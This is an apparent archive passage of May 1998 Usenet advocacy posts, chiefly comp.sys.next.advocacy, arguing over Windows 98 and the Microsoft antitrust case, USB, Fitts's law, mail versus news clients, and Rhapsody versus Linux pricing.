DX. Like bump mapping in Direct3d. OpenGL has it since... very long ago.
Now there come some 3d cards that support bump mapping, which will be
first supported in dx6, so the drivers have to be written for dx6 and
also the games.
And, Microsoft is doing very well in *making* the older os version
obsolete.
>
> > > For gaming, buy a Playstation. It's cheap and pirate games are as easily
> > > available as on the GC (or did you have any other motivation to go GC
> > > for gaming?). For work, buy a computer.
> >
> > And for both?
>
> A PSX *and* a computer :-)
My PC has better gfx. I like gaming on PC. But that's another point.
> > > What the hell do you care about stability? You don't need to
multitask
> > > Quake and Incoming, do you?
> >
> > Now you say above:
> > For gaming, buy a Playstation. [ ... ]
> > For work, buy a computer.
> >
> > So is Quake and Incoming work?
>
> Er, work what? Work on the PSX? Incoming no, Quake yes. AFAIK (I
don't
> have one myself).
No, you didn't understand. I was asking if Quake and Incoming *are*
work, not
if they *do* work...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 7 May 1998 02:23:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B176CB8A-3A3F7@206.165.43.120>
References: <uvhrj731g.fsf@ai.mit.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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portnoy@ai.mit.edu said:
>> This may not apply to the control strip because Fitz' Law (?) works
>> differently for a floating tab then for a menu bar, but without
objective
>> numbers, I'm willing to bet even money that it is just as fast, if not
>> faster, to use the control strip.
>
>I'd bet the opposite.
>
>BTW, Fitt's law is not just for menus. It's for getting to any point,
>anywhere, regardless of whether it's on a computer screen or not.
>Fitt's law will work extremely well for accessing the tab, because
>it's right in the bottom corner of the screen, and makes a very nice
>backstop. Unfortunately, traversing to the volume control after you
>expand it will slow you down a fair amount.
>
Sure. Fitt's Law merely refers to the speed of accessing something based on
size and distance. However, the specific formula that is claimed to work
for menus might not work for the control strip tab since it is NOT in the
bottom corner of the screen but a pixel or two above it and to the right.
TOG's point about infinitely high menu-bars doesn't apply if you can
overshoot the menu (or control strip).
On the other hand, I STILL maintain that pressing buttons on the keyboard
may well be slower than sliding the volume control around in the control
strip.
Why?
Because the buttons are relatively tiny targets, or at least the ones that
I have seen are, and you must concentrate on the target in an unusual way
as compared to using the control strip, which is pretty much a standard
popup menu with a weird twist to it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Thu, 07 May 1998 02:47:20 -0700
Message-ID: <see-below-0705980247200001@209.24.240.68>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com> <djboccip-0605981546370001@qburst.msfc.nasa.gov>
In article <djboccip-0605981546370001@qburst.msfc.nasa.gov>,
djboccip@hiwaay.net (Dr. Dennis J. Boccippio) wrote:
> Anyone who thinks the Motorola
> compiler (or any tweaks of it) have any relation to shipping Mac app
> performance is probably deluded - though I can't say for sure, not being
> a commercial developer.
True. Anyone who thinks _any_ compiler scores have a relationship to
shipping products is probalby deluded, since so many of developers utilize
various kinds of optimizations you wouldn't get straight out of a compiler
on the first pass.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 04:32:05 -0700
Message-ID: <see-below-0705980432050001@209.24.240.68>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <35504438.5BBF58B5@lawson-philpot.com> <6iq0uv$kkh$3@strato.ultra.net>
In article <6iq0uv$kkh$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Ed Lawson wrote in message <35504438.5BBF58B5@lawson-philpot.com>...
> >John Saunders wrote:
> >
> >> You can't (legally) buy OSR2 for an existing machine. If you have an
> >> existing machine and you want some of these features, then you need
> Windows
> >> 98.
> >
> >Consider the implications of this.
>
> Ed, go get a copy of the Hardware Compatibility List for Windows 95. That's
> the set of hardware Microsoft has to test for Windows 98, and then some. A
> very similar list would have to be tested if they had released the
> components of OSR2 as a retail upgrade, especially since many of those
> components are related to hardware.
>
> Do you feel they should be required to do this level of testing? If so, they
> would probably not issue the retail upgrade - too few people would want it
> compared to the amount of money MS would have to spend on testing.
Err, true only in the sense that "Windows 98" is a lot more impressive
sounding than "OSR2 for Windows 95" and people probalby wouldn't pay $110
for the latter. Since it's basically the same thing, they'd need to test
it either way. Windows 98 is 100% marketing, rebundling what they're
already distributing and selling it for way too much. The only damage to
the economy that might be in any way related to Windows 98 will be the
damage done when it is released - all the billions of dollars of money
people and businesses will be paying to Microsoft in exchange for nothing.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 04:42:40 -0700
Message-ID: <see-below-0705980442410001@209.24.240.68>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net>
In article <6ipuoa$606$4@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Second, and I apparently need to reiterate this, the states are ganging up
> on a company for the purpose of extorting money from them.
Huh? Where on earth did you get this idea? The states are ganging up on
Microsoft because it potentially stifles competition of other businesses
which don't play Microsoft's game. You're concerned that the _states_
might have too much power in some way, but it doesn't concern you for a
second if Microsoft might has too much power?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 13:27:59 GMT
Organization: Occam's Razor
Message-ID: <6iscsv$kr0$1@news.cmc.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<ant051317868LJLo@om107.acorn.co.uk>
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Cc: dgriffit@acorn.co.uk
In <ant051317868LJLo@om107.acorn.co.uk> Dave Griffiths wrote:
>
>experience. From my point of view sitting here answering this, I couldn't
>care less whether your article arrived via news or a mailing list. Its
content
I can definitely see why you and others feel that way. Personally, I
have a slightly different psychological approach to news and mail.
Melding the two functions until they're practically indistinguishable
would unnerve me.
>would be basically the same - bunch of text, From line, Subject line etc.
Why
>should I use different tools to read them? Why can't I have the same filters
>work for both sources for instance? The fact that it's news or mail is
merely
>the delivery mechanism and as a user I don't want to know about that.
>
>There is a clear trend towards browser unification, that's why the Web has
>become so important. How many people reading this under NeXTStep still use
>that stand-alone FTP client (what was it called, Gopher?) or the Archie
client.
I still use GatorFTP. It has better (i.e. Browser-like) filesystem
navigation, and I can't upload files with a Web browser.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 13:45:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3551BAF5.B1A52FD7@nstar.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <6iqs09$o5p$2@winter.news.erols.com>
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Chris Lee wrote:
> >And on, and on, and on, and on. Printers, QuickCams, caller ID boxes,
> >telephones, radios, and hundreds of other devices designed to expand the
> >functionality of a desktop computer all qualify for the benefits of a
> >high-speed, standardized, chainable serial interface.
>
> You do know that during the heyday of the Atari 8-bit computers you could do
> all this using a 6502-based computer, don't you?
I don't remember attaching high-speed printers, QuickCams, and caller ID
boxes to my Atari 800.
Oh, yeah, they weren't around.
> In fact, you could buy 300 and 1200 baud modems at the time if I remember
> that hooked up to the 8-bit Atari joystick ports...
Very impressive. I agree, it was a nice *joystick port*.
MJP
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 23:22:42 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6itulg$pc3$5@ligarius.ultra.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <6ir7p2$nt$2@ligarius.ultra.net> <6it643$em2@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6it643$em2@newsb.netnews.att.com>...
>John Saunders <jws@jws.ultranet.com> wrote:
>>
>>Gregory,
>>
>>I mentioned USB mostly because of what I read in the papers - that USB
>>vendors have been waiting for Windows 98 to exist before beginning their
>>push to launch their products. I have no clue how many newer machines
>>support USB. I know my laptop does not, but I also know it can use a dock
>>which does.
>
>http://www.techweb.com/se/directlink.cgi?EET19971208S0059
>
>dated December 8, 1997, titled
>
>"USB peripherals promise ease of use -- Universal Serial Bus
>living upt to its name"
>
>has a whole lot about USB, including
>that about 70% of the PCs are shipping with USB, but nothing
>about Windows 98 or anything about shipping USB peripherals
>conditional on Windows 98.
>
>http://www.techweb.com/se/directlink.cgi?WIN19971101S0128
>
>dated November 1, 1997, titled "The Bus Arrives -- the first USB
peripherals"
>
>says : "Now the USB has finally arrived, with the first wave of
> peripherals hitting the streets. And you don't have to
> wait for Windows 98 to use USB - you can start taking
> advantage of these products right away.
>
>Also, mentioned in the article is something that would go with
>what's written above :
>
> Last spring, we described the USB standard ... At that time
> most PC vendors were already shipping USB-ready desktop
> computers. Now, USB ports are becoming widely available
> on notebooks as well. However, peripheral vendors have
> been slow to exploit the standard. Although Microsoft
> implemented USB software support for Windows 95 in late 1996,
> USB is still considered a Windows 98 phenomenon.
>
>***
>So,
> a. there are a lot of machines out there that support USB.
> b. Windows 98 is not necessary.
> c. Vendors can still push their peripherals even if Windows 98
> becomes Windows 99.
>
>-arun gupta
Thanks for the pointers, Arun. I really appreciate it.
John Saunders
jws@jws.ultranet.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 7 May 1998 09:08:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6irtmn$r1i$4@ns3.vrx.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
<6ir6mg$6ej@bgtnsc03.worldnet.att.net>
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Cc: pkoren@worldnet.att.net
In <6ir6mg$6ej@bgtnsc03.worldnet.att.net> Peter Koren claimed:
> > Uhhh, why not just run an X under Rhapsody?
> I have been burned too many times in the past by Apple's
> stupid decisions. I loved NeXT Step, but I don't trust the
> management enough to put all my eggs in the Apple basket. I
> will always keep Linux, at least as insurance against Apple
> going brain dead.
I still don't understand the direct issue. If Rhapsody dies then you
switch back to Linux?
> Most Linux users I know have dual or multiple OS boot
> systems. They pay for the other OSs. I love Linux because
> it is an excellent Unix and improving at a spectacular rate.
Well I can't say I know that much about the development effort, but much of
what I see tends to be on the "geek" end of things.
> It may gain the ease of use and OO API that Rhapsody has
> quicker than you might guess.
Maybe maybe not - that side I _have_ been watching and I've seen little
movement.
> than C++. I expect that eventually they will get close to
> quality of Rhapsody as a development environment in a few
> years. Perhaps it will be with a Java API. This will, BTW,
> help Apple IMHO.
I agree.
> I don't think that the Linux users will refuse to pay for
> Rhapsody if it is sanely priced.
Good!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: HFS+ (was: Re: Mail.app)
Date: 7 May 1998 09:03:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6irtdd$r1i$3@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6io47l$hqj$1@new-news.cc.brandeis.edu>
<6ip8jm$oum$11@ns3.vrx.net> <1d8m82r.r8y65x7j6wwyN@[10.0.0.2]>
<6ir6lg$fbr$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6ir6lg$fbr$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Anyone know how HFS+ performance compares to the traditional FFS that
> OPENSTEP uses? I'm wondering which I'd rather use. What are the
> drawbacks (if any) to HFS+?
I'm VERY curious about this myself. In the time that HFS+ has been stewing
in the labs (going on something like FIVE YEARS now) waiting for someone to
figure out that it should be released, the file system world has passed it by
- they're all 64bit and HFS+ is still 32bit. Find out next week I guess.
Maury
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 23:21:07 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6itulf$pc3$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net> <6ir1j8$s1s$3@ligarius.ultra.net> <6issoi$rmc$1@interport.net>
float@interport.net wrote in message <6issoi$rmc$1@interport.net>...
>John Saunders (jws@jws.ultranet.com) wrote:
>
>: I know I'm getting to be the old cynic, but can you show me a case of a
bad
>: law getting fixed? I bet it was a law that a lot of people thought was
>: _really_ bad, not a law that simply caught some people falling between
the
>: cracks.
>
>: "The squeaky wheel gets the grease", but our system doesn't do as well
when
>: there are a lot of wheels, each squeaking for a different reason and not
in
>: unison.
>
>This the tyranny of the majority that I mentioned in another post.
>
>Okay, you're not kill-filed, for now.
Thanks, Ben! I feel so much better now! :-)
John
>--
>
> Ben
>
><Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 8 May 1998 00:38:27 -0400
Organization: Interport Communications Corp.
Message-ID: <6iu283$qsv$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <6iss6o$r4k$1@interport.net> <6itule$pc3$3@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: float@interport.net wrote in message <6iss6o$r4k$1@interport.net>...
: >John Saunders (jws@jws.ultranet.com) wrote:
: >
: >: I don't know of any recent cases of selective enforcement due to the
: >: popularity of the defendent.
: >
: >O.J. Simpson?
: Oh, come on! A jury found him not guilty. You and I know he was guilty, but
: I think if we believe in the rule of law, we have to permit juries to make
: decisions we don't agree with.
I don't 'know' he was guilty. I suspect he was. I didn't say I didn't
think the verdict should be allowed to stand. But that wasn't the
question: you said you "don't know of any recent cases of selective
enforcement due to the popularity of the defendant", and I submit his was
such a case.
: >: Joe, my concern is that this business of the states ganging up to extort
: >: money is new.
: >
: >Whaaaat? Who asked for money?
: A lot of people didn't get my point, so I will assume I did a bad job of
: making my point.
: The states ganged up on the tobacco companies for the purpose of extortion.
That's very emotionally loaded language. I don't disagree with the
denotation, I just want to point out that you are doing quite a bit of
connotation.
: Note that it was not for the purpose of "enforcing the law", since there
: were no trials.
Trials are not the only way laws are enforced in America. Many times, the
mere threat of legal action is enough to bring wrongdoers to heel
(rightdoers too, unfortunately). There is arbitration and mediation as
well.
: The "extortion" consisted in threatening to take the tobacco
: companies to trial, then requiring the tobacco companies to pay big bucks to
: keep from having the threat carried out.
Yes. You put your own term in scare quotes! This action is completely
consistent with the laws of the land. Big tobacco got caught lying and
cheating, and is being made to pay the price. Nothing wrong with that.
: My concern, based on what I was reading about the states working together
: with the DOJ, was that the states were going to try to do it again.
What's the big deal? You think corporations should be allowed to run
roughshod over our rights, and our duly elected governments shouldn't be
allowed to stop them? I'm afraid I still don't understand what your
concern is. I'm not flame-baiting you, I really don't understand why you
are so upset.
: It's been pointed out to me that the states might still do the right thing
: (not sue). As a result, I'm willing to wait and see what happens.
A few paragraphs ago you had great faith in our legal system as applied to
O.J. Simpson, what made you dislike it all of a sudden?
--
Ben
<Just Another System Administrator>
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 8 May 1998 04:56:36 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l5444.pnp.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <6iss6o$r4k$1@interport.net> <6itule$pc3$3@ligarius.ultra.net> <6iu283$qsv$1@interport.net>
On 8 May 1998 00:38:27 -0400, float@interport.net <float@interport.net> wrote:
>John Saunders (jws@jws.ultranet.com) wrote:
>: float@interport.net wrote in message <6iss6o$r4k$1@interport.net>...
>: >John Saunders (jws@jws.ultranet.com) wrote:
>: >
>: >: I don't know of any recent cases of selective enforcement due to the
>: >: popularity of the defendent.
>: >
>: >O.J. Simpson?
>
>: Oh, come on! A jury found him not guilty. You and I know he was guilty, but
>: I think if we believe in the rule of law, we have to permit juries to make
>: decisions we don't agree with.
>
>I don't 'know' he was guilty. I suspect he was. I didn't say I didn't
>think the verdict should be allowed to stand. But that wasn't the
>question: you said you "don't know of any recent cases of selective
>enforcement due to the popularity of the defendant", and I submit his was
>such a case.
Sure, were it a less profile situation that case
would have never went to trial.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu>
Message-ID: <7qw41.248$sy4.523415@news.rdc1.sdca.home.com>
Date: Fri, 08 May 1998 05:07:15 GMT
NNTP-Posting-Date: Thu, 07 May 1998 22:07:15 PDT
Organization: @Home Network
In <35522293.731DC4F3@alum.mit.edu> Eric Hermanson wrote:
> Dr. Mankiw,
>
> I read your recent statement regarding a potential Justice Department delay
of
> Windows 98. I will quote the context of the rubbish for your benefit:
>
>
> http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
>
> "Another supporter called on by the software giant was Gregory Mankiw,
professor
> of economics at Harvard University, who said the government's attempt to
delay
> Windows 98 'would throw sand into the gears of human progress.'"
>
>
This quote demonstrates Harvard's professor expects the World handed to
Software Behemoths on "greased skids". I can't imagine the ingenuity and
creativity borne out of the struggle to compete in such "sand free"
marketplace...
> Needless to say, I am keenly interested in a detailed explanation from you
as to
> how postponing the release of Windows 98 would 'throw sand into the gears of
> human progress'. Please also compare and contrast the reprocussions of a
> Justice Department delay of Windows 98 with the reprocussions of Microsoft's
> self-inflicted several year delays in the release of both Windows 95 and
Windows
> NT 4.0. Finally, please explain to the reasonable people of the world why
> Microsoft's delays of Windows 95 and Windows NT 4.0 are not the result of an
> anti-competitive measure to prematurely announce ship dates in order to
secure
> market share, and then have those ship dates slip because they were
technically
> impossible in the first place.
>
>
Nicely stated Historical snyopsis, Eric...
-r
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 10:40:49 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3551F221.53D9@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F8C6A.75EE@earthlink.net>
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Steve Kellener wrote:
> They're lousy at software but smart at marketing!
But they are becoming to arrogant.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May7225008@slave.doubleu.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
<6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net>
<slrn6l3kt8.2pd.sal@panix3.panix.com>
In-reply-to: sal@panix3.panix.com's message of 7 May 1998 15:30:48 GMT
Date: 8 May 1998 02:01:55 -0500
In article <slrn6l3kt8.2pd.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) writes:
On 7 May 1998 09:08:39 GMT, Maury Markowitz,
<maury@remove_this.istar.ca> wrote:
>In <6ir6mg$6ej@bgtnsc03.worldnet.att.net> Peter Koren claimed:
>> I don't think that the Linux users will refuse to pay for
>> Rhapsody if it is sanely priced.
> Good!
"Sanely priced" is a relative measure. A guy at the local software
store that I go to, told me that the $30 official RedHat5 out sells the
$12.50 InfoMagic RedHat5 bundle. Why would people pay more? Perceived
value.
That's not all that's at work, though. I installed RedHat5.0 over the
net with ftp (behind a 1.5Mbit connection). So, in a sense I got it
for "free". I like it so much that I'm considering buying a copy. If
I do so, I'll be purchasing the $50 version directly from RedHat as a
show of support for their efforts. Purchasing from InfoMagic wouldn't
support RedHat as directly, nor would purchasing from a retail
establishment (because they'd take their cut - though on the other
hand, it would keep RedHat on the shelves. There's a moral dilemma
for you :-).
So, I'm treating it essentially as shareware.
RedHat also has a fair amount of mindshare in the Linux comunity.
The Caldera bundle sells fewer copies than the InfoMagic package.
At $100+ it doesn't seem to have a higher value to justify the
higher price.
I have been tempted to get it, just to see what's in there - but when
it comes down to it, I simply don't have time to figure out what the
incremental improvement in value is for Caldera over RedHat. It's not
so much that $100 is so much more than $50 - even if Caldera was $50,
it probably wouldn't make a _lot_ of difference to my usage at this
time.
[I fully expect that to change in the future, as Caldera matures.]
It becomes clear that for Rhapsody to sell at $100, Apple has to
make it clear that you get more than you get in that $30 RedHat
package or it wont sell well to Linux users.
I'd say that the "commercial" aspect will probably carry it to $100
easily. For Linux, you tend to pay more for convenience - you can put
in some sweat equity and get it free, you can get it really cheap with
less work, less cheap with less work, and reasonably priced for very
little work.
Rhapsody will vaguely corrospond to that last price-point - but there
won't be any higher-effort variations to pull the price down.
Furthermore, I'm not sure why Rhapsody at $100 really competes with
RedHat at $30 - if RedHat does all you care for, why would you get
Rhapsody at _any_ price over $30? If RedHat just doesn't do something
you want that Rhapsody has, $100 is an emminently reasonable price to
pay to get the functionality.
[Note that if Rhapsody comes out at $100, and you can develop for it
for under $500, there will be some _very_ happy and amazed people out
there. I'm not suggesting that I think it will be higher - I'm just
suggesting that I'm not counting on it being lower,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May7223535@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net>
<1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net>
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<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
<6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
<35520F22.1486@CONVEX.COM>
In-reply-to: Michael Peck's message of Thu, 07 May 1998 14:44:34 -0500
Date: 8 May 1998 02:01:54 -0500
In article <35520F22.1486@CONVEX.COM>,
Michael Peck <MJPECK@CONVEX.COM> writes:
John Moreno wrote:
> "No, it is the fundamental difference in the *MECHANISMS*".
> There is that better? Mail get's shoved through your door - news
> you go out and look for.
That's pure baloney. POP3 mail is an inherently pull-oriented
transport. You go and get your mail, it's not pushed through your
door. In fact, you get your POP mail the same way you get news:
blindly, in a big batch. Period.
In fact, normally, you get your mail from *exactly* the same place
you get your news: your ISP. In my case, they're even on the same
freaking server.
Are going to the Post Office to check your PO box and going to the
Post Office to read a bulletin board the same thing? I mean, they're
both the same Post Office, right?
Also, you can choose to get one newsgroup. You can't generally choose
to read multiple pop3 mailboxes.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 13:00:06 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0605981300060001@dante.eng.uci.edu>
